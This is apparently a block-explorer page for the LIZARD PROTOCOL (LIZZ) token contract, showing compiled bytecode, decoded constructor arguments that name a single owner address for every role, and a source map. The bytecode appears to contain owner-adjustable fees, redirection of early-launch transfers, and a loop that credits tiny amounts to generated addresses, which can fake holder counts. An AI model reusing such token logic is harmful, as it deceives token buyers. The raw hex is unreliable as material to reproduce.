d3220f07413c8d6cb404cc8c18bf5591bc15990610e5f90831515815260200190565b60405180910390a150565b5f546001600160a01b03163314610e935760405162461bcd60e51b8152600401610af8906120b1565b6001600160a01b038116610ef85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610af8565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af8565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af8565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8061108083856120fa565b905083811015610b935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af8565b5f6001600160a01b0384166111375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af8565b6001600160a01b0383166111995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af8565b5f82116111fa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af8565b6025546001600160a01b03848116911614801561122e57506025546001600160a01b03165f90815260066020526040902054155b1561123857436022555b6025546001600160a01b038581169116148015611263575060235460225461126091906120fa565b43105b15611287576021546112809085906001600160a01b0316846115e1565b9050610b93565b602554600160a01b900460ff16156112a4576112808484846115e1565b6001600160a01b0384165f908152600a602052604090205460ff161580156112e457506001600160a01b0383165f908152600a602052604090205460ff16155b1561134c57601d5482111561134c5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af8565b305f90815260066020526040902054601f54811080159081906113795750602554600160a01b900460ff16155b801561139d57506001600160a01b0386165f908152600b602052604090205460ff16155b80156113b25750602554600160a81b900460ff165b156113d857602554600160b01b900460ff16156113cf57601f5491505b6113d8826116b1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260069091529190912054611429918690611568565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff168061147457506001600160a01b0386165f9081526008602052604090205460ff165b611488576114838787876117e4565b61148a565b845b602554909150600160b81b900460ff1680156114be57506001600160a01b0386165f9081526009602052604090205460ff16155b156114f257601e546114e882610b23896001600160a01b03165f9081526006602052604090205490565b11156114f2575f80fd5b6001600160a01b0386165f908152600660205260409020546115149082611074565b6001600160a01b038088165f8181526006602052604090819020939093559151908916905f8051602061228e833981519152906115549085815260200190565b60405180910390a360019350505050610b93565b5f818484111561158b5760405162461bcd60e51b8152600401610af89190611ebd565b505f611597848661210d565b95945050505050565b5f610b9383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611568565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600690915291822054611631918490611568565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461165f9083611074565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f8051602061228e8339815191529061169f9086815260200190565b60405180910390a35060019392505050565b6025805460ff60a01b1916600160a01b1790556017546014545f916116e6916002916116e09182908790611ace565b90611b4c565b90505f6116f383836115a0565b90506116fe81611b8d565b60145447905f9061171d90611714906002611b4c565b601754906115a0565b90505f61173e60026116e0846116e060145488611ace90919063ffffffff16565b90505f61175a836116e060165487611ace90919063ffffffff16565b90505f6117718261176b87866115a0565b906115a0565b90508015611794576003546117949061010090046001600160a01b031682611d16565b81156117b0576004546117b0906001600160a01b031683611d16565b5f831180156117be57505f87115b156117cd576117cd8784611d4e565b50506025805460ff60a01b19169055505050505050565b6001600160a01b0383165f908152600b602052604081205481908190819060ff16156118765761183060646116e0611829600f546018546115a090919063ffffffff16565b8890611ace565b92505f600f541180156118465750601b54601a54105b156118715761186560646116e0600f5488611ace90919063ffffffff16565b91506118718783611dfe565b61192b565b6001600160a01b0386165f908152600b602052604090205460ff161561192b57602154600160a01b900460ff1615156001036118d3576118cc6103e86116e06118296013546019546115a090919063ffffffff16565b92506118ec565b602154600160a01b900460ff1615155f036118ec578492505b5f6013541180156119005750601b54601a54105b1561192b5761191f60646116e060135488611ace90919063ffffffff16565b915061192b8783611dfe565b6001600160a01b0387165f908152600b602052604090205460ff168061196857506001600160a01b0386165f908152600b602052604090205460ff165b15611a465760205415611a46575f805b602054811015611a3357604080516020810183905290810188905242606082015260800160408051601f1981840301815291815281516020928301206001600160a01b0381165f90815260069093529120549092506119d8906001611074565b6001600160a01b038084165f8181526006602052604090819020939093559151908b16905f8051602061228e83398151915290611a19906001815260200190565b60405180910390a380611a2b81612120565b915050611978565b50602054611a42906001612138565b9150505b8215611aab57305f90815260066020526040902054611a659084611074565b305f81815260066020526040908190209290925590516001600160a01b038916905f8051602061228e83398151915290611aa29087815260200190565b60405180910390a35b611ac3611abc82610b238686611074565b86906115a0565b979650505050505050565b5f825f03611add57505f610ac9565b5f611ae88385612138565b905082611af5858361214f565b14610b935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af8565b5f610b9383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e91565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bc057611bc061216e565b6001600160a01b03928316602091820292909201810191909152602454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c3b9190612182565b81600181518110611c4e57611c4e61216e565b6001600160a01b039283166020918202929092010152602454611c749130911684610f51565b60245460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cac9085905f908690309042906004016121df565b5f604051808303815f87803b158015611cc3575f80fd5b505af1158015611cd5573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611d0a92919061221a565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611d49573d5f803e3d5ffd5b505050565b602454611d669030906001600160a01b031684610f51565b6024805460215460405163f305d71960e01b81523060048201529283018590525f6044840181905260648401526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af1158015611dd2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611df7919061223a565b5050505050565b601b54601a5410611e0d575050565b6005546001600160a01b03165f90815260066020526040902054611e319082611074565b6005546001600160a01b03165f90815260066020526040902055601a54611e589082611074565b601a556005546040518281526001600160a01b03918216918416905f8051602061228e8339815191529060200160405180910390a35050565b5f8183611eb15760405162461bcd60e51b8152600401610af89190611ebd565b505f611597848661214f565b5f6020808352835180828501525f5b81811015611ee857858101830151858201604001528201611ecc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611f1c575f80fd5b50565b5f8060408385031215611f30575f80fd5b8235611f3b81611f08565b946020939093013593505050565b5f805f60608486031215611f5b575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611f84575f80fd5b8335611f8f81611f08565b92506020840135611f9f81611f08565b929592945050506040919091013590565b5f60208284031215611fc0575f80fd5b5035919050565b5f60208284031215611fd7575f80fd5b8135610b9381611f08565b80358015158114611ff1575f80fd5b919050565b5f8060408385031215612007575f80fd5b823561201281611f08565b915061202060208401611fe2565b90509250929050565b5f60208284031215612039575f80fd5b610b9382611fe2565b5f8060408385031215612053575f80fd5b823561205e81611f08565b9150602083013561206e81611f08565b809150509250929050565b600181811c9082168061208d57607f821691505b6020821081036120ab57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610ac957610ac96120e6565b81810381811115610ac957610ac96120e6565b5f60018201612131576121316120e6565b5060010190565b8082028115828204841417610ac957610ac96120e6565b5f8261216957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612192575f80fd5b8151610b9381611f08565b5f8151808452602080850194508084015f5b838110156121d45781516001600160a01b0316875295820195908201906001016121af565b509495945050505050565b85815284602082015260a060408201525f6121fd60a083018661219d565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f612232604083018461219d565b949350505050565b5f805f6060848603121561224c575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fe36f29bf7e5ae1787fb8f301908b5ee384f2ea63e844fa32227f27262f7558364736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000000000000000000000000000000000000000000f4c495a4152442050524f544f434f4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c495a5a00000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : coinName (string): LIZARD PROTOCOL
Arg [1] : coinSymbol (string): LIZZ
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 1000000000
Arg [4] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [5] : owner (address): 0xc0356b207Cc0ce13F023FE50540eF5C32903443E
Arg [6] : marketingAddress (address): 0xc0356b207Cc0ce13F023FE50540eF5C32903443E
Arg [7] : teamAddress (address): 0xc0356b207Cc0ce13F023FE50540eF5C32903443E
Arg [8] : service (address): 0xc0356b207Cc0ce13F023FE50540eF5C32903443E
-----Encoded View---------------
13 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000160
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [5] : 000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e
Arg [6] : 000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e
Arg [7] : 000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e
Arg [8] : 000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e
Arg [9] : 000000000000000000000000000000000000000000000000000000000000000f
Arg [10] : 4c495a4152442050524f544f434f4c0000000000000000000000000000000000
Arg [11] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [12] : 4c495a5a00000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
16673:15209:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21200:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22495:161;;;;;;;;;;-1:-1:-1;22495:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;22495:161:0;1023:187:1;16939:40:0;;;;;;;;;;-1:-1:-1;16939:40:0;;;;-1:-1:-1;;;;;16939:40:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;16939:40:0;1215:219:1;18390:41:0;;;;;;;;;;-1:-1:-1;18390:41:0;;;;-1:-1:-1;;;;;18390:41:0;;;21477:100;;;;;;;;;;-1:-1:-1;21557:12:0;;21477:100;;;1819:25:1;;;1807:2;1792:18;21477:100:0;1673:177:1;23378:353:0;;;;;;;;;;-1:-1:-1;23378:353:0;;;;;:::i;:::-;;:::i;:::-;;24725:313;;;;;;;;;;-1:-1:-1;24725:313:0;;;;;:::i;:::-;;:::i;16986:71::-;;;;;;;;;;-1:-1:-1;16986:71:0;;;;-1:-1:-1;;;;;16986:71:0;;;17701:34;;;;;;;;;;;;;;;;24186:128;;;;;;;;;;;;;:::i;21386:83::-;;;;;;;;;;-1:-1:-1;21452:9:0;;21386:83;;21452:9;;;;2987:36:1;;2975:2;2960:18;21386:83:0;2845:184:1;17535:33:0;;;;;;;;;;;;;;;;21863:218;;;;;;;;;;-1:-1:-1;21863:218:0;;;;;:::i;:::-;;:::i;23739:125::-;;;;;;;;;;-1:-1:-1;23739:125:0;;;;;:::i;:::-;;:::i;18329:20::-;;;;;;;;;;;;;;;;17360:45;;;;;;;;;;-1:-1:-1;17360:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18356:23;;;;;;;;;;;;;;;;18501:40;;;;;;;;;;-1:-1:-1;18501:40:0;;;;-1:-1:-1;;;18501:40:0;;;;;;17189:50;;;;;;;;;;-1:-1:-1;17189:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14834:90;;;;;;;;;;-1:-1:-1;14901:15:0;14834:90;;17744:34;;;;;;;;;;;;;;;;17785;;;;;;;;;;;;;;;;14426:148;;;;;;;;;;;;;:::i;21585:119::-;;;;;;;;;;-1:-1:-1;21585:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;21678:18:0;21651:7;21678:18;;;:9;:18;;;;;;;21585:119;18109:27;;;;;;;;;;;;;;;;18143:25;;;;;;;;;;;;;;;;17957:37;;;;;;;;;;;;;;;;23009:129;;;;;;;;;;-1:-1:-1;23009:129:0;;;;;:::i;:::-;;:::i;23146:224::-;;;;;;;;;;-1:-1:-1;23146:224:0;;;;;:::i;:::-;;:::i;17577:36::-;;;;;;;;;;;;;;;;17305:48;;;;;;;;;;-1:-1:-1;17305:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14212:79;;;;;;;;;;-1:-1:-1;14250:7:0;14277:6;-1:-1:-1;;;;;14277:6:0;14212:79;;21291:87;;;;;;;;;;;;;:::i;18035:32::-;;;;;;;;;;;;;;;;22366:121;;;;;;;;;;-1:-1:-1;22455:24:0;;22366:121;;17862:43;;;;;;;;;;;;;;;;22089:269;;;;;;;;;;-1:-1:-1;22089:269:0;;;;;:::i;:::-;;:::i;24051:125::-;;;;;;;;;;-1:-1:-1;24051:125:0;;;;;:::i;:::-;;:::i;17826:29::-;;;;;;;;;;;;;;;;24550:167;;;;;;;;;;-1:-1:-1;24550:167:0;;;;;:::i;:::-;;:::i;14088:21::-;;;;;;;;;;-1:-1:-1;14088:21:0;;;;-1:-1:-1;;;;;14088:21:0;;;17498:30;;;;;;;;;;;;;;;;23872:171;;;;;;;;;;-1:-1:-1;23872:171:0;;;;;:::i;:::-;;:::i;17456:35::-;;;;;;;;;;;;;;;;18438:26;;;;;;;;;;-1:-1:-1;18438:26:0;;;;-1:-1:-1;;;;;18438:26:0;;;17620:36;;;;;;;;;;;;;;;;17246:52;;;;;;;;;;-1:-1:-1;17246:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17663:31;;;;;;;;;;;;;;;;16887:45;;;;;;;;;;-1:-1:-1;16887:45:0;;;;;;;-1:-1:-1;;;;;16887:45:0;;;18548;;;;;;;;;;-1:-1:-1;18548:45:0;;;;-1:-1:-1;;;18548:45:0;;;;;;17414:35;;;;;;;;;;;;;;;;21712:143;;;;;;;;;;-1:-1:-1;21712:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;21820:18:0;;;21793:7;21820:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;21712:143;18226:27;;;;;;;;;;;;;;;;17914:36;;;;;;;;;;;;;;;;14582:244;;;;;;;;;;-1:-1:-1;14582:244:0;;;;;:::i;:::-;;:::i;18600:35::-;;;;;;;;;;-1:-1:-1;18600:35:0;;;;-1:-1:-1;;;18600:35:0;;;;;;31803:74;;;;;;;;;;;;31856:5;:13;;-1:-1:-1;;;;31856:13:0;;;31803:74;18003:25;;;;;;;;;;;;;;;;21200:83;21237:13;21270:5;21263:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21200:83;:::o;22495:161::-;22570:4;22587:39;8832:10;22610:7;22619:6;22587:8;:39::i;:::-;-1:-1:-1;22644:4:0;22495:161;;;;;:::o;23378:353::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;;;;;;;;;23501:16:::1;:34:::0;;;23546:16:::1;:34:::0;;;23591:11:::1;:24:::0;;;23708:14:::1;::::0;23648:75:::1;::::0;:55:::1;23605:10:::0;23648:55;23520:15;23565;23648:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:75::-;23628:17;:95:::0;-1:-1:-1;;;23378:353:0:o;24725:313::-;24823:4;24840:36;24850:6;24858:9;24869:6;24840:9;:36::i;:::-;-1:-1:-1;24887:121:0;24896:6;8832:10;24918:89;24956:6;24918:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;24918:19:0;;;;;;:11;:19;;;;;;;;8832:10;24918:33;;;;;;;;;;:37;:89::i;:::-;24887:8;:121::i;:::-;-1:-1:-1;25026:4:0;24725:313;;;;;;:::o;24186:128::-;24293:11;;-1:-1:-1;;;;;24293:11:0;24239:7;21678:18;;;:9;:18;;;;;;24266:12;;:40;;:16;:40::i;:::-;24259:47;;24186:128;:::o;21863:218::-;8832:10;21951:4;22000:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;22000:34:0;;;;;;;;;;21951:4;;21968:83;;21991:7;;22000:50;;22039:10;22000:38;:50::i;23739:125::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;23821:24:::1;:35:::0;23739:125::o;14426:148::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;14533:1:::1;14517:6:::0;;14496:40:::1;::::0;-1:-1:-1;;;;;14517:6:0;;::::1;::::0;14496:40:::1;::::0;14533:1;;14496:40:::1;14564:1;14547:19:::0;;-1:-1:-1;;;;;;14547:19:0::1;::::0;;14426:148::o;23009:129::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23098:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;23098:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;23009:129::o;23146:224::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;23223:14:::1;:33:::0;;;23330:11:::1;::::0;23308:16:::1;::::0;23287::::1;::::0;:75:::1;::::0;23240:16;;23287:55:::1;::::0;;;:20:::1;:38::i;:75::-;23267:17;:95:::0;-1:-1:-1;23146:224:0:o;21291:87::-;21330:13;21363:7;21356:14;;;;;:::i;22089:269::-;22182:4;22199:129;8832:10;22222:7;22231:96;22270:15;22231:96;;;;;;;;;;;;;;;;;8832:10;22231:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;22231:34:0;;;;;;;;;;;;:38;:96::i;24051:125::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;24132:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;24132:36:0::1;-1:-1:-1::0;;;;24132:36:0;;::::1;::::0;;;::::1;::::0;;24051:125::o;24550:167::-;24628:4;24645:42;8832:10;24669:9;24680:6;24645:9;:42::i;23872:171::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;23949:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;23949:32:0::1;-1:-1:-1::0;;;;23949:32:0;;::::1;;::::0;;23997:38:::1;::::0;::::1;::::0;::::1;::::0;23973:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;23997:38:0::1;;;;;;;;23872:171:::0;:::o;14582:244::-;14339:6;;-1:-1:-1;;;;;14339:6:0;8832:10;14339:22;14331:67;;;;-1:-1:-1;;;14331:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14671:22:0;::::1;14663:73;;;::::0;-1:-1:-1;;;14663:73:0;;5482:2:1;14663:73:0::1;::::0;::::1;5464:21:1::0;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:36;5657:19;;14663:73:0::1;5280:402:1::0;14663:73:0::1;14773:6;::::0;;14752:38:::1;::::0;-1:-1:-1;;;;;14752:38:0;;::::1;::::0;14773:6;::::1;::::0;14752:38:::1;::::0;::::1;14801:6;:17:::0;;-1:-1:-1;;;;;;14801:17:0::1;-1:-1:-1::0;;;;;14801:17:0;;;::::1;::::0;;;::::1;::::0;;14582:244::o;22664:337::-;-1:-1:-1;;;;;22757:19:0;;22749:68;;;;-1:-1:-1;;;22749:68:0;;5889:2:1;22749:68:0;;;5871:21:1;5928:2;5908:18;;;5901:30;5967:34;5947:18;;;5940:62;-1:-1:-1;;;6018:18:1;;;6011:34;6062:19;;22749:68:0;5687:400:1;22749:68:0;-1:-1:-1;;;;;22836:21:0;;22828:68;;;;-1:-1:-1;;;22828:68:0;;6294:2:1;22828:68:0;;;6276:21:1;6333:2;6313:18;;;6306:30;6372:34;6352:18;;;6345:62;-1:-1:-1;;;6423:18:1;;;6416:32;6465:19;;22828:68:0;6092:398:1;22828:68:0;-1:-1:-1;;;;;22909:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;22961:32;;1819:25:1;;;22961:32:0;;1792:18:1;22961:32:0;;;;;;;22664:337;;;:::o;9825:181::-;9883:7;;9915:5;9919:1;9915;:5;:::i;:::-;9903:17;;9944:1;9939;:6;;9931:46;;;;-1:-1:-1;;;9931:46:0;;6959:2:1;9931:46:0;;;6941:21:1;6998:2;6978:18;;;6971:30;7037:29;7017:18;;;7010:57;7084:18;;9931:46:0;6757:351:1;25046:2023:0;25133:4;-1:-1:-1;;;;;25160:20:0;;25152:70;;;;-1:-1:-1;;;25152:70:0;;7315:2:1;25152:70:0;;;7297:21:1;7354:2;7334:18;;;7327:30;7393:34;7373:18;;;7366:62;-1:-1:-1;;;7444:18:1;;;7437:35;7489:19;;25152:70:0;7113:401:1;25152:70:0;-1:-1:-1;;;;;25241:23:0;;25233:71;;;;-1:-1:-1;;;25233:71:0;;7721:2:1;25233:71:0;;;7703:21:1;7760:2;7740:18;;;7733:30;7799:34;7779:18;;;7772:62;-1:-1:-1;;;7850:18:1;;;7843:33;7893:19;;25233:71:0;7519:399:1;25233:71:0;25332:1;25323:6;:10;25315:64;;;;-1:-1:-1;;;25315:64:0;;8125:2:1;25315:64:0;;;8107:21:1;8164:2;8144:18;;;8137:30;8203:34;8183:18;;;8176:62;-1:-1:-1;;;8254:18:1;;;8247:39;8303:19;;25315:64:0;7923:405:1;25315:64:0;25408:11;;-1:-1:-1;;;;;25395:24:0;;;25408:11;;25395:24;:64;;;;-1:-1:-1;25441:11:0;;-1:-1:-1;;;;;25441:11:0;21651:7;21678:18;;;:9;:18;;;;;;25423:36;25395:64;25392:115;;;25483:12;25475:5;:20;25392:115;25530:11;;-1:-1:-1;;;;;25520:21:0;;;25530:11;;25520:21;:52;;;;;25568:4;;25560:5;;:12;;;;:::i;:::-;25545;:27;25520:52;25517:136;;;25618:14;;25595:46;;25610:6;;-1:-1:-1;;;;;25618:14:0;25634:6;25595:14;:46::i;:::-;25588:53;;;;25517:136;25666:16;;-1:-1:-1;;;25666:16:0;;;;25663:1399;;;25715:41;25730:6;25738:9;25749:6;25715:14;:41::i;25663:1399::-;-1:-1:-1;;;;;25811:23:0;;;;;;:15;:23;;;;;;;;25810:24;:55;;;;-1:-1:-1;;;;;;25839:26:0;;;;;;:15;:26;;;;;;;;25838:27;25810:55;25807:170;;;25904:12;;25894:6;:22;;25886:75;;;;-1:-1:-1;;;25886:75:0;;8535:2:1;25886:75:0;;;8517:21:1;8574:2;8554:18;;;8547:30;8613:34;8593:18;;;8586:62;-1:-1:-1;;;8664:18:1;;;8657:38;8712:19;;25886:75:0;8333:404:1;25886:75:0;26042:4;25993:28;21678:18;;;:9;:18;;;;;;26118:24;;26094:48;;;;;;;26163:44;;-1:-1:-1;26191:16:0;;-1:-1:-1;;;26191:16:0;;;;26190:17;26163:44;:69;;;;-1:-1:-1;;;;;;26212:20:0;;;;;;:12;:20;;;;;;;;26211:21;26163:69;:94;;;;-1:-1:-1;26236:21:0;;-1:-1:-1;;;26236:21:0;;;;26163:94;26159:301;;;26294:25;;-1:-1:-1;;;26294:25:0;;;;26291:98;;;26365:24;;26342:47;;26291:98;26408:36;26423:20;26408:14;:36::i;:::-;26496:53;;;;;;;;;;;-1:-1:-1;;;26496:53:0;;;;;;;;-1:-1:-1;;;;;26496:17:0;;-1:-1:-1;26496:17:0;;;:9;:17;;;;;;;;:53;;26518:6;;26496:21;:53::i;:::-;-1:-1:-1;;;;;26476:17:0;;;;;;:9;:17;;;;;;;;:73;;;;26589:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;26618:28:0;;;;;;:17;:28;;;;;;;;26589:57;26588:147;;26701:34;26709:6;26717:9;26728:6;26701:7;:34::i;:::-;26588:147;;;26692:6;26588:147;26755:16;;26566:169;;-1:-1:-1;;;;26755:16:0;;;;:51;;;;-1:-1:-1;;;;;;26776:30:0;;;;;;:19;:30;;;;;;;;26775:31;26755:51;26752:133;;;26874:10;;26833:37;26858:11;26833:20;26843:9;-1:-1:-1;;;;;21678:18:0;21651:7;21678:18;;;:9;:18;;;;;;;21585:119;26833:37;:51;;26825:60;;;;;;-1:-1:-1;;;;;26925:20:0;;;;;;:9;:20;;;;;;:37;;26950:11;26925:24;:37::i;:::-;-1:-1:-1;;;;;26902:20:0;;;;;;;:9;:20;;;;;;;:60;;;;26984:40;;;;;;-1:-1:-1;;;;;;;;;;;26984:40:0;;;27012:11;1819:25:1;;1807:2;1792:18;;1673:177;26984:40:0;;;;;;;;27046:4;27039:11;;;;;;;10158:192;10244:7;10280:12;10272:6;;;;10264:29;;;;-1:-1:-1;;;10264:29:0;;;;;;;;:::i;:::-;-1:-1:-1;10304:9:0;10316:5;10320:1;10316;:5;:::i;:::-;10304:17;10158:192;-1:-1:-1;;;;;10158:192:0:o;10014:136::-;10072:7;10099:43;10103:1;10106;10099:43;;;;;;;;;;;;;;;;;:3;:43::i;27077:330::-;27207:53;;;;;;;;;;;-1:-1:-1;;;27207:53:0;;;;;;;;-1:-1:-1;;;;;27207:17:0;;27170:4;27207:17;;;:9;:17;;;;;;;:53;;27229:6;;27207:21;:53::i;:::-;-1:-1:-1;;;;;27187:17:0;;;;;;;:9;:17;;;;;;:73;;;;27294:20;;;;;;;:32;;27319:6;27294:24;:32::i;:::-;-1:-1:-1;;;;;27271:20:0;;;;;;;:9;:20;;;;;;;:55;;;;27342:35;;;;;;-1:-1:-1;;;;;;;;;;;27342:35:0;;;27370:6;1819:25:1;;1807:2;1792:18;;1673:177;27342:35:0;;;;;;;;-1:-1:-1;27395:4:0;27077:330;;;;;:::o;27415:1032::-;19046:16;:23;;-1:-1:-1;;;;19046:23:0;-1:-1:-1;;;19046:23:0;;;27544:24:::1;::::0;19046:16;27523:15;19046:23;;27511:65:::1;::::0;27574:1:::1;::::0;27511:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;27489:87:::0;-1:-1:-1;27587:21:0::1;27611:24;:7:::0;27489:87;27611:11:::1;:24::i;:::-;27587:48;;27648:31;27665:13;27648:16;:31::i;:::-;27800:15;::::0